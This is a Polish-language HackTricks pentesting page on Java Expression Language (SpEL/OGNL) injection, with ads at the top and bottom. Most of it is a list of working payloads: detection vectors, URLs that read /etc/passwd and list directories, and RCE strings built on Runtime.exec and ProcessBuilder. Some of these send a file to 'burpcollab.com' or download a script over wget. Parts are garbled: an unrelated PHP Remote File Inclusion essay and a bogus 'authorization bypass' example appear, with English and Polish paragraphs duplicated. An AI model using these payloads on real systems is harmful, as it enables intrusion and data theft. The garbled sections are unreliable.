19 KiB
EL - Język Wyrażeń
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
- Pracujesz w firmie zajmującej się cyberbezpieczeństwem? Chcesz zobaczyć swoją firmę reklamowaną w HackTricks? A może chcesz mieć dostęp do najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF? Sprawdź PLAN SUBSKRYPCJI!
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź mnie na Twitterze 🐦@carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do repozytorium hacktricks i repozytorium hacktricks-cloud.
Podstawowe informacje
Język Wyrażeń (EL) jest integralny w JavaEE do łączenia warstwy prezentacji (np. strony internetowe) i logiki aplikacji (np. zarządzane beany), umożliwiając ich interakcję. Jest on głównie używany w:
- JavaServer Faces (JSF): Do wiązania komponentów interfejsu użytkownika z danymi/akcjami backendu.
- JavaServer Pages (JSP): Do dostępu i manipulacji danymi wewnątrz stron JSP.
- Contexts and Dependency Injection for Java EE (CDI): Do ułatwiania interakcji warstwy internetowej z zarządzanymi beanami.
Konteksty użycia:
- Spring Framework: Stosowany w różnych modułach, takich jak Security i Data.
- Ogólne użycie: Przez API SpEL przez programistów w językach opartych na JVM, takich jak Java, Kotlin i Scala.
EL jest obecny w technologiach JavaEE, środowiskach samodzielnych i rozpoznawalny poprzez rozszerzenia plików .jsp
lub .jsf
, błędy stosu i terminy takie jak "Servlet" w nagłówkach. Jednak jego funkcje i użycie niektórych znaków mogą zależeć od wersji.
{% hint style="info" %} W zależności od wersji EL niektóre funkcje mogą być włączone lub wyłączone, a zazwyczaj niektóre znaki mogą być zabronione. {% endhint %}
Podstawowy przykład
(Możesz znaleźć inny interesujący samouczek na temat EL w https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/)
Pobierz z repozytorium Maven pliki jar:
commons-lang3-3.9.jar
spring-core-5.2.1.RELEASE.jar
commons-logging-1.2.jar
spring-expression-5.2.1.RELEASE.jar
I utwórz plik Main.java
o następującej zawartości:
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
public class Main {
public static ExpressionParser PARSER;
public static void main(String[] args) throws Exception {
PARSER = new SpelExpressionParser();
System.out.println("Enter a String to evaluate:");
java.io.BufferedReader stdin = new java.io.BufferedReader(new java.io.InputStreamReader(System.in));
String input = stdin.readLine();
Expression exp = PARSER.parseExpression(input);
String result = exp.getValue().toString();
System.out.println(result);
}
}
Następnie skompiluj kod (jeśli nie masz zainstalowanego javac
, zainstaluj sudo apt install default-jdk
):
javac -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main.java
Uruchom aplikację za pomocą:
java -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main
Enter a String to evaluate:
{5*5}
[25]
Zauważ, że w poprzednim przykładzie termin {5*5}
został oceniony.
Samouczek oparty na CVE
Sprawdź to w tym poście: https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a
Payloady
Podstawowe działania
#Basic string operations examples
{"a".toString()}
[a]
{"dfd".replace("d","x")}
[xfx]
#Access to the String class
{"".getClass()}
[class java.lang.String]
#Access ro the String class bypassing "getClass"
#{""["class"]}
#Access to arbitrary class
{"".getClass().forName("java.util.Date")}
[class java.util.Date]
#List methods of a class
{"".getClass().forName("java.util.Date").getMethods()[0].toString()}
[public boolean java.util.Date.equals(java.lang.Object)]
Wykrywanie
- Wykrywanie za pomocą narzędzia Burp
gk6q${"zkz".toString().replace("k", "x")}doap2
#The value returned was "igk6qzxzdoap2", indicating of the execution of the expression.
- Wykrywanie J2EE
#J2EEScan Detection vector (substitute the content of the response body with the content of the "INJPARAM" parameter concatenated with a sum of integer):
https://www.example.url/?vulnerableParameter=PRE-${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.print(new%20java.lang.Integer(829%2b9))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}-POST&INJPARAM=HOOK_VAL
- Zatrzymaj się na 10 sekund
#Blind detection vector (sleep during 10 seconds)
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40java.lang.Thread%40sleep(10000)%2c1%3f%23xx%3a%23request.toString}
Zdalne włączenie pliku
Remote File Inclusion (zdalne włączenie pliku) jest techniką ataku, która pozwala hakerowi na włączenie zdalnego pliku na serwerze. Atak ten jest możliwy, gdy aplikacja webowa nie sprawdza poprawnie danych wejściowych, które są używane do dynamicznego włączania plików. Haker może wykorzystać tę lukę, aby włączyć złośliwy kod lub zdalny plik, który może prowadzić do naruszenia bezpieczeństwa systemu.
Przykład ataku
Poniżej przedstawiono przykład ataku Remote File Inclusion:
<?php
$file = $_GET['file'];
include($file);
?>
W powyższym przykładzie aplikacja webowa przyjmuje parametr file
z żądania GET i następnie włącza ten plik za pomocą funkcji include()
. Jeśli aplikacja nie sprawdza poprawnie wartości parametru file
, haker może wykorzystać tę lukę, aby włączyć dowolny zdalny plik.
Skutki ataku
Atak Remote File Inclusion może prowadzić do różnych skutków, takich jak:
- Wykonanie dowolnego kodu na serwerze
- Ujawnienie poufnych danych, takich jak hasła, klucze API itp.
- Zniszczenie lub modyfikacja danych na serwerze
- Przejęcie kontroli nad serwerem
Zapobieganie atakom
Aby zapobiec atakom Remote File Inclusion, należy podjąć następujące środki ostrożności:
- Sprawdź i waliduj dane wejściowe przed ich użyciem do dynamicznego włączania plików.
- Unikaj używania funkcji takich jak
include()
lubrequire()
z niezaufanymi danymi wejściowymi. - Używaj listy białej (whitelist) do określania dozwolonych plików, które mogą być włączone.
- Zaktualizuj oprogramowanie i biblioteki do najnowszych wersji, aby uniknąć znanych luk bezpieczeństwa.
Podsumowanie
Atak Remote File Inclusion jest poważnym zagrożeniem dla aplikacji webowych. Poprawna walidacja danych wejściowych i ostrożne korzystanie z funkcji włączania plików są kluczowe dla zapewnienia bezpieczeństwa systemu.
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=new%20java.io.FileInputStream(%23wwww),%23qqqq=new%20java.lang.Long(%23wwww.length()),%23tttt=new%20byte[%23qqqq.intValue()],%23llll=%23pppp.read(%23tttt),%23pppp.close(),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(new+java.lang.String(%23tttt))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=%2fetc%2fpasswd
Wykaz katalogów
W przypadku, gdy serwer nie ma włączonej funkcji ukrywania zawartości katalogów, można uzyskać dostęp do wykazu katalogów. Wykaz ten zawiera listę plików i folderów znajdujących się w danym katalogu. Może to dostarczyć przydatnych informacji dla hakerów, takich jak nazwy plików, struktura katalogów i potencjalne cele ataku. Aby uzyskać dostęp do wykazu katalogów, wystarczy wpisać ścieżkę do katalogu w przeglądarce internetowej.
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=%23wwww.listFiles(),%23qqqq=@java.util.Arrays@toString(%23pppp),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23qqqq)%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=..
RCE
- Podstawowe wyjaśnienie RCE
#Check the method getRuntime is there
{"".getClass().forName("java.lang.Runtime").getMethods()[6].toString()}
[public static java.lang.Runtime java.lang.Runtime.getRuntime()]
#Execute command (you won't see the command output in the console)
{"".getClass().forName("java.lang.Runtime").getRuntime().exec("curl http://127.0.0.1:8000")}
[Process[pid=10892, exitValue=0]]
#Execute command bypassing "getClass"
#{""["class"].forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("curl <instance>.burpcollaborator.net")}
# With HTMl entities injection inside the template
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
- RCE linux
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="%2fbin%2fsh",%23ssss[1]="%2dc",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
- RCE Windows (nie przetestowane)
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="cmd",%23ssss[1]="%2fC",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
- Więcej RCE
// Common RCE payloads
''.class.forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(<COMMAND STRING/ARRAY>)
''.class.forName('java.lang.ProcessBuilder').getDeclaredConstructors()[1].newInstance(<COMMAND ARRAY/LIST>).start()
// Method using Runtime via getDeclaredConstructors
#{session.setAttribute("rtc","".getClass().forName("java.lang.Runtime").getDeclaredConstructors()[0])}
#{session.getAttribute("rtc").setAccessible(true)}
#{session.getAttribute("rtc").getRuntime().exec("/bin/bash -c whoami")}
// Method using processbuilder
${request.setAttribute("c","".getClass().forName("java.util.ArrayList").newInstance())}
${request.getAttribute("c").add("cmd.exe")}
${request.getAttribute("c").add("/k")}
${request.getAttribute("c").add("ping x.x.x.x")}
${request.setAttribute("a","".getClass().forName("java.lang.ProcessBuilder").getDeclaredConstructors()[0].newInstance(request.getAttribute("c")).start())}
${request.getAttribute("a")}
// Method using Reflection & Invoke
${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("calc.exe")}
// Method using ScriptEngineManager one-liner
${request.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\\\"ping x.x.x.x\\\")"))}
// Method using ScriptEngineManager
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
${facesContext.getExternalContext().setResponseHeader("output","".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval(\"var x=new java.lang.ProcessBuilder;x.command(\\\"wget\\\",\\\"http://x.x.x.x/1.sh\\\");
//https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt
(T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec("cmd "+T(java.lang.String).valueOf(T(java.lang.Character).toChars(0x2F))+"c "+T(java.lang.String).valueOf(new char[]{T(java.lang.Character).toChars(100)[0],T(java.lang.Character).toChars(105)[0],T(java.lang.Character).toChars(114)[0]})).getInputStream(),T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()))
T(java.lang.System).getenv()[0]
T(java.lang.Runtime).getRuntime().exec('ping my-domain.com')
T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("cmd /c dir").getInputStream())
''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')
Inspekcja środowiska
applicationScope
- globalne zmienne aplikacjirequestScope
- zmienne żądaniainitParam
- zmienne inicjalizacji aplikacjisessionScope
- zmienne sesjiparam.X
- wartość parametru, gdzie X to nazwa parametru HTTP
Będziesz musiał rzutować te zmienne na typ String, na przykład:
${sessionScope.toString()}
Przykład pominięcia autoryzacji
The following example demonstrates an authorization bypass vulnerability in a web application that uses Server-Side Template Injection (SSTI) with Expression Language (EL).
Poniższy przykład ilustruje podatność na pominięcie autoryzacji w aplikacji internetowej, która wykorzystuje Server-Side Template Injection (SSTI) z Expression Language (EL).
public class UserController {
@GetMapping("/user/{id}")
public String getUser(@PathVariable("id") String id, Model model) {
User user = userRepository.findById(id);
if (user != null) {
model.addAttribute("user", user);
return "user";
} else {
return "error";
}
}
}
In the above code snippet, the getUser
method retrieves a user object from the userRepository
based on the provided id
. If the user exists, the user object is added to the model and the "user" template is returned. Otherwise, the "error" template is returned.
W powyższym fragmencie kodu metoda getUser
pobiera obiekt użytkownika z userRepository
na podstawie podanego id
. Jeśli użytkownik istnieje, obiekt użytkownika jest dodawany do modelu, a zwracany jest szablon "user". W przeciwnym razie zwracany jest szablon "error".
However, an attacker can exploit this code by injecting a malicious EL expression as the id
parameter. For example, by providing the following payload as the id
parameter: ${7*7}
.
Jednak atakujący może wykorzystać ten kod, wstrzykując złośliwe wyrażenie EL jako parametr id
. Na przykład, podając następujący payload jako parametr id
: ${7*7}
.
The injected payload ${7*7}
will be evaluated by the EL engine, resulting in the value 49
. As a result, the user with the id
of 49
will be retrieved from the userRepository
and displayed in the "user" template.
Wstrzyknięty payload ${7*7}
zostanie oceniony przez silnik EL, co spowoduje uzyskanie wartości 49
. W rezultacie użytkownik o id
równym 49
zostanie pobrany z userRepository
i wyświetlony w szablonie "user".
This vulnerability allows an attacker to bypass the authorization mechanism and access user data without proper authentication.
Ta podatność umożliwia atakującemu obejście mechanizmu autoryzacji i dostęp do danych użytkownika bez odpowiedniej autentykacji.
${pageContext.request.getSession().setAttribute("admin", true)}
Aplikacja może również używać niestandardowych zmiennych, takich jak:
${user}
${password}
${employee.FirstName}
Bypass WAF
Sprawdź https://h1pmnh.github.io/post/writeup_spring_el_waf_bypass/
Referencje
- https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/
- https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools
- https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
- Pracujesz w firmie zajmującej się cyberbezpieczeństwem? Chcesz zobaczyć, jak Twoja firma jest reklamowana na HackTricks? A może chcesz mieć dostęp do najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF? Sprawdź SUBSCRIPTION PLANS!
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź mnie na Twitterze 🐦@carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do repozytorium hacktricks i repozytorium hacktricks-cloud.